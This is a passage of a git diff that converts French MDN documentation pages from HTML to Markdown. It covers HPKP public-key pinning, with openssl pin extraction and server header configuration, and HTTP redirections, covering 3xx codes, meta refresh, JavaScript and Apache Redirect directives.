href="https://code.google.com/p/chromium/issues/detail?id=445793"> Issue 445793: HPKP Reporting on invalid pins</a></li> -</ul> -</div> +### Extraire la clé publique encodé en Base64 -<h3 id="Extraire_la_clé_publique_encodé_en_Base64">Extraire la clé publique encodé en Base64</h3> +En premier, vous devez extraire la clé publique depuis votre fichier de certificats ou de clés puis l'encoder en base 64. -<p>En premier, vous devez extraire la clé publique depuis votre fichier de certificats ou de clés puis l'encoder en base 64.</p> +Les commandes suivantes vous aideront à extraire la clé publique et à l'encoder en base 64 depuis le fichier d'une clé, d'un certificat ou d'un CSR (Certificate Signing Request). -<p>Les commandes suivantes vous aideront à extraire la clé publique et à l'encoder en base 64 depuis le fichier d'une clé, d'un certificat ou d'un CSR (Certificate Signing Request).</p> + openssl rsa -in my-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64 -<pre><code>openssl rsa -in my-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | </code>openssl enc -base64</pre> +<!----> -<pre><code>openssl req -in my-signing-request.csr -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | </code>openssl enc -base64</pre> + openssl req -in my-signing-request.csr -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64 -<pre><code>openssl x509 -in my-certificate.crt -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | </code>openssl enc -base64</pre> +<!----> -<h3 id="sect2"> </h3> + openssl x509 -in my-certificate.crt -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64 -<h3 id="Exemple_d'entête_HPKP">Exemple d'entête HPKP</h3> +### -<pre>Public-Key-Pins: pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; max-age=5184000; includeSubdomains; report-uri="<em>https://www.example.net/hpkp-report"</em></pre> +### Exemple d'entête HPKP -<p>Dans cet exemple, <strong>pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="</strong> épingle la clé publique utilisée en production par le serveur. La deuxième déclaration d'épinglage <strong>pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="</strong> représente la clé de sauvegarde. <strong>max-age=5184000</strong> dit au client de mémoriser cette information pendant deux mois, ce qui est un temps raisonnable d'après la RFC. Cet épinglage s'applique aussi à tous les sous-domaines, car <strong>includeSubdomains</strong> est présent. Enfin, <strong>report-uri="https://www.example.net/hpkp-report"</strong> indique où envoyer les rapports d'erreurs de validation.</p> + Public-Key-Pins: pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; max-age=5184000; includeSubdomains; report-uri="https://www.example.net/hpkp-report" -<p> </p> +Dans cet exemple, **pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="** épingle la clé publique utilisée en production par le serveur. La deuxième déclaration d'épinglage **pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="** représente la clé de sauvegarde. **max-age=5184000** dit au client de mémoriser cette information pendant deux mois, ce qui est un temps raisonnable d'après la RFC. Cet épinglage s'applique aussi à tous les sous-domaines, car **includeSubdomains** est présent. Enfin, **report-uri="https\://www\.example.net/hpkp-report"** indique où envoyer les rapports d'erreurs de validation. -<h3 id="Mettre_en_place_le_header_HPKP_sur_votre_serveur_web">Mettre en place le header HPKP sur votre serveur web</h3> -<p>Les étapes concrètes nécessaires pour délivrer l'en-tête HPKP dépendent du serveur web que vous utilisez.</p> -<div class="note"> -<p><strong>Note :</strong> Ces exemples utilisent un a max-age de deux mois et incluent aussi tous les sous-domaines. Il est conseillé de vérifier que cela convient à votre serveur.</p> -</div> +### Mettre en place le header HPKP sur votre serveur web -<p>Inclure une ligne similaire à votre configuration activera HPKP, en remplaçant les valeurs en pointillé des lignes <code>pin-sha256="..." </code>:</p> +Les étapes concrètes nécessaires pour délivrer l'en-tête HPKP dépendent du serveur web que vous utilisez. -<h4 id="Apache">Apache</h4> +> **Note :** Ces exemples utilisent un a max-age de deux mois et incluent aussi tous les sous-domaines. Il est conseillé de vérifier que cela convient à votre serveur. -<pre>Header always set Public-Key-Pins "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains" -</pre> +Inclure une ligne similaire à votre configuration activera HPKP, en remplaçant les valeurs en pointillé des lignes `pin-sha256="..." `: -<p><strong>Note :</strong> Cela demande le module <code>mod_headers</code> activé.</p> +#### Apache -<h4 id="Nginx">Nginx</h4> + Header always set Public-Key-Pins "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains" -<pre>add_header Public-Key-Pins 'pin-sha256="base64+primary=="; pin-sha256="base64+backup=="; max-age=5184000; includeSubDomains';</pre> +**Note :** Cela demande le module `mod_headers` activé. -<p><strong>Note :</strong> Cela demande le module <code>ngx_http_headers_module</code>.</p> +#### Nginx -<h4 id="Lighttpd">Lighttpd</h4> + add_header Public-Key-Pins 'pin-sha256="base64+primary=="; pin-sha256="base64+backup=="; max-age=5184000; includeSubDomains'; -<pre>setenv.add-response-header = ( "Public-Key-Pins" => "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains")</pre> +**Note :** Cela demande le module `ngx_http_headers_module`. -<p><strong>Note:</strong> Cela demande le module <code>mod_setenv</code> chargé, ce qui peut être fait en ajoutant la ligne suivante (s'il n'est pas déjà chargé) :</p> +#### Lighttpd -<pre><code>server.modules += ( "mod_setenv" )</code></pre> + setenv.add-response-header = ( "Public-Key-Pins" => "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains") -<h2 id="Specifications">Spécifications</h2> +**Note:** Cela demande le module `mod_setenv` chargé, ce qui peut être fait en ajoutant la ligne suivante (s'il n'est pas déjà chargé) : -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7469", "Public-Key-Pins", "2.1")}}</td> - <td>Extension de l'épinglage des clés publiques pour HTTP</td> - </tr> - </tbody> -</table> + server.modules += ( "mod_setenv" ) -<h2 id="Browser_compatibility">Compatibilité des navigateurs</h2> +## Spécifications -<p>{{Compat("http.headers.Public-Key-Pins")}}</p> +| Spécification | Description | +| -------------------------------------------------------- | ----------------------------------------------------- | +| {{RFC("7469", "Public-Key-Pins", "2.1")}} | Extension de l'épinglage des clés publiques pour HTTP | -<h2 id="See_also">Voir aussi</h2> +## Compatibilité des navigateurs -<ul> - <li>{{HTTPHeader("Public-Key-Pins")}}</li> - <li>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</li> - <li>Browser test site: <a href="https://projects.dm.id.lv/Public-Key-Pins_test">HSTS and HPKP test</a></li> - <li>{{HTTPHeader("Expect-CT")}}</li> -</ul> +{{Compat("http.headers.Public-Key-Pins")}} + +## Voir aussi + +- {{HTTPHeader("Public-Key-Pins")}} +- {{HTTPHeader("Public-Key-Pins-Report-Only")}} +- Browser test site: [HSTS and HPKP test](https://projects.dm.id.lv/Public-Key-Pins_test) +- {{HTTPHeader("Expect-CT")}} diff --git a/files/fr/web/http/redirections/index.md b/files/fr/web/http/redirections/index.md index 88118a2292..a8a8ec8ad4 100644 --- a/files/fr/web/http/redirections/index.md +++ b/files/fr/web/http/redirections/index.md @@ -7,255 +7,179 @@ tags: - redirections translation_of: Web/HTTP/Redirections --- -<div>{{HTTPSidebar}}</div> - -<div>La redirection d'URL est une technique pour donner à une page, un formulaire ou une application Web entière, plus d'une adresse. HTTP fournit un type particulier de réponses, les <em><strong>redirections HTTP</strong></em>, pour effectuer cette opération utilisée pour de nombreux objectifs : redirection temporaire pendant la maintenance du site, redirection permanente pour que les liens externes continuent de fonctionner après un changement d'architecture du site, pages de progression lors du téléchargement d'un fichier, etc.</div> - -<h2 id="Principe">Principe</h2> - -<p>En HTTP, une redirection est déclenchée par le serveur en envoyant des réponses spéciales à une requête : <em>les redirections</em>. Les redirections HTTP sont des réponses avec un code d'état de <code>3xx</code>. Un navigateur, lorsqu'il reçoit une réponse de redirection, utilise la nouvelle URL fournie et la charge immédiatement : la plupart du temps, la redirection est transparente pour l'utilisateur, si ce n'est un petit impact de performance.</p> - -<p><img alt="" src="httpredirect.png"></p> - -<p>Il existe plusieurs types de redirections et elles se répartissent en trois catégories : les redirections permanentes, les temporaires et les spéciales.</p> - -<h3 id="Redirections_permanentes">Redirections permanentes</h3> - -<p>Ces redirections sont faites pour durer éternellement. Elles impliquent que l'URL d'origine ne doit plus être utilisée et que la nouvelle URL est préférée. Les robots des moteurs de recherche déclenchent une mise à jour de l'URL associée à la ressource dans leurs index.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Code</th> - <th scope="col">Texte</th> - <th scope="col">Traitement des méthodes</th> - <th scope="col">Cas d'utilisation typique</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>301</code></td> - <td><code>Moved Permanently</code></td> - <td>Requêtes {{HTTPMethod("GET")}} inchangées.<br> - Les autres peuvent être changés ou non en {{HTTPMethod("GET")}}.</td> - <td>Réorganisation d'un site Web.</td> - </tr> - <tr> - <td><code>308</code></td> - <td><code>Permanent Redirect</code></td> - <td>Méthode et corps de la requête inchangés.</td> - <td>Réorganisation d'un site Web, avec des liens/opérations non-GET.</td> - </tr> - </tbody> -</table> - -<p>La spécification n'avait pas l'intention de permettre des changements de méthode, mais il y a en pratique des agents utilisateurs qui le font. <code>308</code> a été créé pour supprimer l'ambiguïté du comportement lors de l'utilisation de méthodes autres que <code>GET</code>.</p> - -<h3 id="Redirections_temporaires">Redirections temporaires</h3> - -<p>Parfois, la ressource demandée ne peut pas être accédée à partir de son emplacement standard, mais elle peut l'être à partir d'un autre endroit. Dans ce cas, une redirection temporaire peut être utilisée. Les robots des moteurs de recherche ne mémorisent pas le nouveau lien temporaire. Les redirections temporaires sont également utilisées lors de la création, de la mise à jour et de la suppression de ressources pour présenter des pages de progression temporaires.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Code</th> - <th scope="col">Texte</th> - <th scope="col">Traitement des méthodes</th> - <th scope="col">Cas d'utilisation typique</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>302</code></td> - <td><code>Found</code></td> - <td>Requêtes {{HTTPMethod("GET")}} inchangées.<br> - Les autres peuvent être changés ou non en {{HTTPMethod("GET")}}.</td> - <td>La page Web n'est temporairement pas disponible pour des raisons qui n'ont pas été imprévues. De cette façon, les moteurs de recherche ne mettent pas à jour leurs liens.</td> - </tr> - <tr> - <td><code>303</code></td> - <td><code>See Other</code></td> - <td>Requêtes {{HTTPMethod("GET")}} inchangées.<br> - Les autres sont changées en <code>GET</code> (le corps est perdu).</td> - <td>Utilisé pour rediriger après un {{HTTPMethod("PUT")}} ou un {{HTTPMethod("POST")}} pour empêcher un rafraîchissement de la page qui redéclencherait l'opération.</td> - </tr> - <tr> - <td><code>307</code></td> - <td><code>Temporary Redirect</code></td> - <td>Méthodes et corps inchangés</td> - <td>La page Web n'est temporairement pas disponible pour des raisons qui n'ont pas été imprévues. De cette façon, les moteurs de recherche ne mettent pas à jour leurs liens. Mieux que <code>302</code> lorsque des liens/opérations non-GET sont disponibles sur le site.</td> - </tr> - </tbody> -</table> +{{HTTPSidebar}}La redirection d'URL est une technique pour donner à une page, un formulaire ou une application Web entière, plus d'une adresse. HTTP fournit un type particulier de réponses, les **_redirections HTTP_**, pour effectuer cette opération utilisée pour de nombreux objectifs : redirection temporaire pendant la maintenance du site, redirection permanente pour que les liens externes continuent de fonctionner après un changement d'architecture du site, pages de progression lors du téléchargement d'un fichier, etc. -<p>La spécification n'avait pas l'intention de permettre des changements de méthode, mais il y a en pratique des agents utilisateurs qui le font. <code>307</code> a été créé pour supprimer l'ambiguïté du comportement lors de l'utilisation de méthodes autres que <code>GET</code></p> +## Principe -<h3 id="Redirections_spéciales">Redirections spéciales</h3> +En HTTP, une redirection est déclenchée par le serveur en envoyant des réponses spéciales à une requête : _les redirections_. Les redirections HTTP sont des réponses avec un code d'état de `3xx`. Un navigateur, lorsqu'il reçoit une réponse de redirection, utilise la nouvelle URL fournie et la charge immédiatement : la plupart du temps, la redirection est transparente pour l'utilisateur, si ce n'est un petit impact de performance. -<p>En plus de ces redirections habituelles, il existe deux redirections spécifiques. Le {{HTTPStatus("304")}} (Not Modified) redirige une page vers la copie mise en cache localement (qui était obsolète), et le {{HTTPStatus("300")}} (Multiple Choice) est une redirection manuelle : le corps, présenté par le navigateur comme une page Web, liste les redirections possibles et l'utilisateur clique sur une pour la sélectionner.</p> +![](httpredirect.png) -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Code</th> - <th scope="col">Texte</th> - <th scope="col">Cas d'utilisation typique</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>300</code></td> - <td><code>Multiple Choice</code></td> - <td>Pas beaucoup : les choix sont listés dans une page HTML dans le corps du texte. Pourrait être servi avec un {{HTTPStatus("200")}} <code>OK</code> status.</td> - </tr> - <tr> - <td><code>304</code></td> - <td><code>Not Modified</code></td> - <td>Rafraîchissement du cache : ceci indique que la valeur dans le cache est encore correcte et peut être utilisée.</td> - </tr> - </tbody> -</table> +Il existe plusieurs types de redirections et elles se répartissent en trois catégories : les redirections permanentes, les temporaires et les spéciales. -<h2 id="Autre_façon_de_spécifier_les_redirections">Autre façon de spécifier les redirections</h2> +### Redirections permanentes -<p>Les redirections HTTP ne sont pas les seuls moyens de définir des redirections. Il existe deux autres méthodes: les redirections HTML en utilisant l'élément {{HTMLElement("meta")}}, et les redirections JavaScript en utilisant le <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>.</p> +Ces redirections sont faites pour durer éternellement. Elles impliquent que l'URL d'origine ne doit plus être utilisée et que la nouvelle URL est préférée. Les robots des moteurs de recherche déclenchent une mise à jour de l'URL associée à la ressource dans leurs index. -<h3 id="Redirections_HTML">Redirections HTML</h3> +| Code | Texte | Traitement des méthodes | Cas d'utilisation typique | +| ----- | -------------------- | ------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | +| `301` | `Moved Permanently` | Requêtes {{HTTPMethod("GET")}} inchangées. Les autres peuvent être changés ou non en {{HTTPMethod("GET")}}. | Réorganisation d'un site Web. | +| `308` | `Permanent Redirect` | Méthode et corps de la requête inchangés. | Réorganisation d'un site Web, avec des liens/opérations non-GET. | -<p>Les redirections HTTP sont le moyen privilégié de créer des redirections, mais parfois le développeur Web n'a pas le contrôle du serveur ou ne peut pas le configurer. Pour ces cas spécifiques, les développeurs Web peuvent créer une page HTML avec un élément {{HTMLElement("meta")}} et son attribut {{htmlattrxref("http-equiv", "meta")}} avec la valeur <code>refresh</code>, positionné dans le {{HTMLElement("head")}} de la page. Lors de l'affichage de la page, le navigateur trouvera cet élément et ira à la page indiquée.</p> +La spécification n'avait pas l'intention de permettre des changements de méthode, mais il y a en pratique des agents utilisateurs qui le font. `308` a été créé pour supprimer l'ambiguïté du comportement lors de l'utilisation de méthodes autres que `GET`. -<pre class="brush: html"><head> - <meta http-equiv="refresh" content="0; URL=http://www.example.com/" /> -</head> -</pre> +### Redirections temporaires -<p>L'attribut {{htmlattrxref("content")}} commence avec un nombre indiquant combien de secondes le navigateur doit attendre avant de rediriger vers l'URL fournie. Toujours le mettre à 0, pour une meilleure accessibilité.</p> +Parfois, la ressource demandée ne peut pas être accédée à partir de son emplacement standard, mais elle peut l'être à partir d'un autre endroit. Dans ce cas, une redirection temporaire peut être utilisée. Les robots des moteurs de recherche ne mémorisent pas le nouveau lien temporaire. Les redirections temporaires sont également utilisées lors de la création, de la mise à jour et de la suppression de ressources pour présenter des pages de progression temporaires. -<p>Bien entendu, cette méthode ne fonctionne qu'avec des pages HTML (ou similaires) et ne peut être utilisée pour des images ou tout autre type de contenu.</p> +| Code | Texte | Traitement des méthodes | Cas d'utilisation typique | +| ----- | -------------------- | ------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| `302` | `Found` | Requêtes {{HTTPMethod("GET")}} inchangées. Les autres peuvent être changés ou non en {{HTTPMethod("GET")}}. | La page Web n'est temporairement pas disponible pour des raisons qui n'ont pas été imprévues. De cette façon, les moteurs de recherche ne mettent pas à jour leurs liens. | +| `303` | `See Other` | Requêtes {{HTTPMethod("GET")}} inchangées. Les autres sont changées en `GET` (le corps est perdu). | Utilisé pour rediriger après un {{HTTPMethod("PUT")}} ou un {{HTTPMethod("POST")}} pour empêcher un rafraîchissement de la page qui redéclencherait l'opération. | +| `307` | `Temporary Redirect` | Méthodes et corps inchangés | La page Web n'est temporairement pas disponible pour des raisons qui n'ont pas été imprévues. De cette façon, les moteurs de recherche ne mettent pas à jour leurs liens. Mieux que `302` lorsque des liens/opérations non-GET sont disponibles sur le site. | -<div class="note"> -<p><strong>Note :</strong> Ces redirections cassent le bouton de retour dans un navigateur : vous pouvez revenir à une page avec cet en-tête mais mais vous serez de nouveau instantanément rediriger.</p> -</div> +La spécification n'avait pas l'intention de permettre des changements de méthode, mais il y a en pratique des agents utilisateurs qui le font. `307` a été créé pour supprimer l'ambiguïté du comportement lors de l'utilisation de méthodes autres que `GET` -<h3 id="Redirections_JavaScript">Redirections JavaScript</h3> +### Redirections spéciales -<p>Les redirections en JavaScript se créent en définissant une valeur pour la propriété {{domxref("window.location")}} et la nouvelle page est alors chargée.</p> +En plus de ces redirections habituelles, il existe deux redirections spécifiques. Le {{HTTPStatus("304")}} (Not Modified) redirige une page vers la copie mise en cache localement (qui était obsolète), et le {{HTTPStatus("300")}} (Multiple Choice) est une redirection manuelle : le corps, présenté par le navigateur comme une page Web, liste les redirections possibles et l'utilisateur clique sur une pour la sélectionner. -<pre class="brush: js">window.location = "http://www.example.com/";</pre> +| Code | Texte | Cas d'utilisation typique | +| ----- | ----------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | +| `300` | `Multiple Choice` | Pas beaucoup : les choix sont listés dans une page HTML dans le corps du texte. Pourrait être servi avec un {{HTTPStatus("200")}} `OK` status. | +| `304` | `Not Modified` | Rafraîchissement du cache : ceci indique que la valeur dans le cache est encore correcte et peut être utilisée. | -<p>Comme les redirections HTML, cela ne fonctionne pas sur toutes les ressources, et évidemment, cela ne marchera que pour les clients qui exécutent du JavaScript. D'un autre côté, il y a plus de possibilités car vous ne pouvez déclencher la redirection que si certaines conditions sont remplies, par exemple.</p> +## Autre façon de spécifier les redirections -<h3 id="Ordre_de_priorité">Ordre de priorité</h3> +Les redirections HTTP ne sont pas les seuls moyens de définir des redirections. Il existe deux autres méthodes: les redirections HTML en utilisant l'élément {{HTMLElement("meta")}}, et les redirections JavaScript en utilisant le [DOM](/en-US/docs/Web/API/Document_Object_Model). -<p>Avec trois possibilités de redirections d'URL, plusieurs méthodes peuvent être spécifiées en même temps, mais laquelle est appliquée en premier ? L'ordre de priorité est le suivant:</p> +### Redirections HTML -<ol> - <li>Les redirections HTTP sont toujours exécutées en premier, alors même que la page n'est pas transmise, et ni même lue.</li> - <li>Les redirections HTML ({{HTMLElement("meta")}}) sont exécutées are executed s'il n'y avait pas de redirections HTTP.</li> - <li>Les redirections JavaScript sont utilisées en dernier recours, et uniquement si JavaScript est activé côté client.</li> -</ol> +Les redirections HTTP sont le moyen privilégié de créer des redirections, mais parfois le développeur Web n'a pas le contrôle du serveur ou ne peut pas le configurer. Pour ces cas spécifiques, les développeurs Web peuvent créer une page HTML avec un élément {{HTMLElement("meta")}} et son attribut {{htmlattrxref("http-equiv", "meta")}} avec la valeur `refresh`, positionné dans le {{HTMLElement("head")}} de la page. Lors de l'affichage de la page, le navigateur trouvera cet élément et ira à la page indiquée. -<p>Dans la mesure du possible, utilisez des redirections HTTP, et n'ajoutez pas d'élément {{HTMLElement("meta")}} de redirection. Si quelqu'un change les redirections HTTP et oublie de changer les redirections HTML, les redirections ne seront plus identiques, ce qui pourrait causer une boucle infinie ou d'autres cauchemars.</p> +```html +<head> + <meta http-equiv="refresh" content="0; URL=http://www.example.com/" /> +</head> +``` -<h2 id="Cas_dutilisation">Cas d'utilisation</h2> +L'attribut {{htmlattrxref("content")}} commence avec un nombre indiquant combien de secondes le navigateur doit attendre avant de rediriger vers l'URL fournie. Toujours le mettre à 0, pour une meilleure accessibilité. -<p>Il existe de nombreux cas d'utilisation pour les redirections, mais comme les performances sont affectées par chaque redirection, leur utilisation doit être réduite au minimum.</p> +Bien entendu, cette méthode ne fonctionne qu'avec des pages HTML (ou similaires) et ne peut être utilisée pour des images ou tout autre type de contenu. -<h3 id="Alias_de_domaine">Alias de domaine</h3> +> **Note :** Ces redirections cassent le bouton de retour dans un navigateur : vous pouvez revenir à une page avec cet en-tête mais mais vous serez de nouveau instantanément rediriger. -<p>Idéalement, il n'y a qu'un seul emplacement, et donc qu'une seule URL pour une seule ressource. Mais il existe plein de raisons de vouloir des noms alternatifs pour une même ressource (plusieurs domaines, comme avec et sans le préfixe www ou des URLs plus courtes et faciles à retenir, ....). Dans ces cas, plutôt que de dupliquer la ressource, il est utile d'utiliser une redirection vers la vraie URL (canonique).</p> +### Redirections JavaScript -<p>Un alias de domaine peut être fait pour plusieurs raisons:</p> +Les redirections en JavaScript se créent en définissant une valeur pour la propriété {{domxref("window.location")}} et la nouvelle page est alors chargée. -<ul> - <li>Élargir la portée de votre site. Un cas courant est celui où votre site se trouve sous le domaine <code>www.example.com</code> et où l'accès à vos pages à partir de <code>example.com</code> devrait également être possible. Dans ce cas, des redirections vers <code>www.example.com</code> sont mises en place, pour les pages de <code>example.com</code>. Vous pouvez également fournir des noms synonymes couramment utilisés ou des fautes de frappe fréquentes de vos noms de domaine.</li> - <li>Passer à un autre domaine. Par exemple, votre société a été renommée et lorsqu'on recherche l'ancien nom, vous voulez que les gens habitués à l'ancien site Web de la société vous trouvent sous le nouveau nom.</li> - <li>Forcer HTTPS. Les requêtes vers la version HTTP non sécurisée de votre site seront redirigées vers la version HTTPS de votre site.</li> -</ul> +```js +window.location = "http://www.example.com/"; +``` -<h3 id="Maintenir_les_liens_en_vie">Maintenir les liens en vie</h3> +Comme les redirections HTML, cela ne fonctionne pas sur toutes les ressources, et évidemment, cela ne marchera que pour les clients qui exécutent du JavaScript. D'un autre côté, il y a plus de possibilités car vous ne pouvez déclencher la redirection que si certaines conditions sont remplies, par exemple. -<p>Lorsque vous restructurez des sites Web, les URL des ressources changent. Même si vous pouvez mettre à jour les liens internes de votre site Web pour qu'ils correspondent au nouveau schéma de nommage, vous n'avez aucun contrôle sur les URL utilisées par les ressources externes. Vous ne voulez pas briser ces liens, car ils vous apportent des utilisateurs précieux (et aident votre référencement), donc vous configurez des redirections depuis les anciennes URL vers les nouvelles.</p> +### Ordre de priorité -<div class="note"> -<p><strong>Note :</strong> Même si cette technique fonctionne également pour les liens internes, vous devriez éviter d'avoir des redirections internes. Une redirection a un coût significatif sur les performances (car une requête HTTP supplémentaire est faite) et si vous pouvez l'éviter en corrigeant les liens internes, vous devez corriger ces liens.</p> -</div> +Avec trois possibilités de redirections d'URL, plusieurs méthodes peuvent être spécifiées en même temps, mais laquelle est appliquée en premier ? L'ordre de priorité est le suivant: -<h3 id="Réponses_temporaires_aux_requêtes_non_sécurisées">Réponses temporaires aux requêtes non sécurisées</h3> +1. Les redirections HTTP sont toujours exécutées en premier, alors même que la page n'est pas transmise, et ni même lue. +2. Les redirections HTML ({{HTMLElement("meta")}}) sont exécutées are executed s'il n'y avait pas de redirections HTTP. +3. Les redirections JavaScript sont utilisées en dernier recours, et uniquement si JavaScript est activé côté client. -<p>Les requêtes {{Glossary("safe", "Unsafe")}} modifient l'état du serveur et l'utilisateur ne devrait pas les rejouer par inadvertance. Typiquement, vous ne voulez pas que vos utilisateurs renvoient des requêtes {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} ou {{HTTPMethod("DELETE")}}. Si vous ne vous contentez que d'envoyer la réponse à la suite de cette requête, une simple clic sur le bouton de rechargement (éventuellement après un message de confirmation), renvoie la demande.</p> +Dans la mesure du possible, utilisez des redirections HTTP, et n'ajoutez pas d'élément {{HTMLElement("meta")}} de redirection. Si quelqu'un change les redirections HTTP et oublie de changer les redirections HTML, les redirections ne seront plus identiques, ce qui pourrait causer une boucle infinie ou d'autres cauchemars. -<p>Dans ce cas, le serveur peut renvoyer une réponse {{HTTPStatus("303")}} (See Other) qui contiendra les bonnes informations, mais si le bouton de rechargement est pressé, seule cette page est réaffichée, sans rejouer les demandes non sécurisées.</p> +## Cas d'utilisation -<h3 id="Réponses_temporaires_aux_longues_requêtes">Réponses temporaires aux longues requêtes</h3> +Il existe de nombreux cas d'utilisation pour les redirections, mais comme les performances sont affectées par chaque redirection, leur utilisation doit être réduite au minimum. -<p>Certaines requêtes peuvent nécessiter plus de temps sur le serveur comme parfois des requêtes {{HTTPHeader("DELETE")}} qui sont planifiés pour un traitement ultérieur. Dans ce cas, la réponse est un {{HTTPStatus("303")}} (See Other) qui renvoie à une page indiquant que l'action a été programmée, et informe éventuellement de l'avancement de l'action, ou permet de l'annuler.</p> +### Alias de domaine -<h2 id="Configuration_des_redirections_dans_les_serveurs_les_plus_courants">Configuration des redirections dans les serveurs les plus courants</h2> +Idéalement, il n'y a qu'un seul emplacement, et donc qu'une seule URL pour une seule ressource. Mais il existe plein de raisons de vouloir des noms alternatifs pour une même ressource (plusieurs domaines, comme avec et sans le préfixe www ou des URLs plus courtes et faciles à retenir, ....). Dans ces cas, plutôt que de dupliquer la ressource, il est utile d'utiliser une redirection vers la vraie URL (canonique). -<h3 id="Apache">Apache</h3> +Un alias de domaine peut être fait pour plusieurs raisons: -<p>Les redirections peuvent être définies soit dans le fichier de configuration du serveur, soit dans le fichier <code>.htaccess</code> de chaque répertoire.</p> +- Élargir la portée de votre site. Un cas courant est celui où votre site se trouve sous le domaine `www.example.com` et où l'accès à vos pages à partir de `example.com` devrait également être possible. Dans ce cas, des redirections vers `www.example.com` sont mises en place, pour les pages de `example.com`. Vous pouvez également fournir des noms synonymes couramment utilisés ou des fautes de frappe fréquentes de vos noms de domaine. +- Passer à un autre domaine. Par exemple, votre société a été renommée et lorsqu'on recherche l'ancien nom, vous voulez que les gens habitués à l'ancien site Web de la société vous trouvent sous le nouveau nom. +- Forcer HTTPS. Les requêtes vers la version HTTP non sécurisée de votre site seront redirigées vers la version HTTPS de votre site. -<p>Le module <a href="https://httpd.apache.org/docs/current/mod/mod_alias.html">mod_alias</a> a des directives <code>Redirect</code> et <code>RedirectMatch</code> qui définissent une réponse {{HTTPStatus("302")}} (par défaut):</p> +### Maintenir les liens en vie -<pre><VirtualHost *:80> - ServerName example.com - Redirect / http://www.example.com -</VirtualHost> -</pre> +Lorsque vous restructurez des sites Web, les URL des ressources changent. Même si vous pouvez mettre à jour les liens internes de votre site Web pour qu'ils correspondent au nouveau schéma de nommage, vous n'avez aucun contrôle sur les URL utilisées par les ressources externes. Vous ne voulez pas briser ces liens, car ils vous apportent des utilisateurs précieux (et aident votre référencement), donc vous configurez des redirections depuis les anciennes URL vers les nouvelles. -<p>L'URL <code>http://example.com/</code> sera redirigée vers <code>http://www.example.com/</code>, ainsi que les fichiers ou répertoires qui s'y trouvent (<code>http://example.com/index.html</code> sera redirigée vers <code>http://www.example.com/index.html</code>)</p> +> **Note :** Même si cette technique fonctionne également pour les liens internes, vous devriez éviter d'avoir des redirections internes. Une redirection a un coût significatif sur les performances (car une requête HTTP supplémentaire est faite) et si vous pouvez l'éviter en corrigeant les liens internes, vous devez corriger ces liens. -<p><code>RedirectMatch</code> fait la même chose mais prend une expression régulière pour définir une liste d'URLs concernées:</p> +### Réponses temporaires aux requêtes non sécurisées -<pre>RedirectMatch ^/images/(.*)$ http://images.example.com/$1</pre> +Les requêtes {{Glossary("safe", "Unsafe")}} modifient l'état du serveur et l'utilisateur ne devrait pas les rejouer par inadvertance. Typiquement, vous ne voulez pas que vos utilisateurs renvoient des requêtes {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} ou {{HTTPMethod("DELETE")}}. Si vous ne vous contentez que d'envoyer la réponse à la suite de cette requête, une simple clic sur le bouton de rechargement (éventuellement après un message de confirmation), renvoie la demande. -<p>Tous les documents dans le répertoire <code>images/</code> seront redirigés vers un autre domaine.</p> +Dans ce cas, le serveur peut renvoyer une réponse {{HTTPStatus("303")}} (See Other) qui contiendra les bonnes informations, mais si le bouton de rechargement est pressé, seule cette page est réaffichée, sans rejouer les demandes non sécurisées. -<p>Si vous ne souhaitez pas configurer une redirection temporaire, un paramètre supplémentaire (soit le code d'état HTTP à utiliser, soit le mot clé <code>permanent</code>) peut être utilisé pour configurer un autre type de redirection:</p> +### Réponses temporaires aux longues requêtes -<pre>Redirect permanent / http://www.example.com -Redirect 301 / http://www.example.com -</pre> +Certaines requêtes peuvent nécessiter plus de temps sur le serveur comme parfois des requêtes {{HTTPHeader("DELETE")}} qui sont planifiés pour un traitement ultérieur. Dans ce cas, la réponse est un {{HTTPStatus("303")}} (See Other) qui renvoie à une page indiquant que l'action a été programmée, et informe éventuellement de l'avancement de l'action, ou permet de l'annuler. -<p>Le module <a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html">mod_rewrite</a> peut également être utilisé pour créer des redirections. Il est plus flexible, mais un peu plus complexe à utiliser.</p> +## Configuration des redirections dans les serveurs les plus courants -<h3 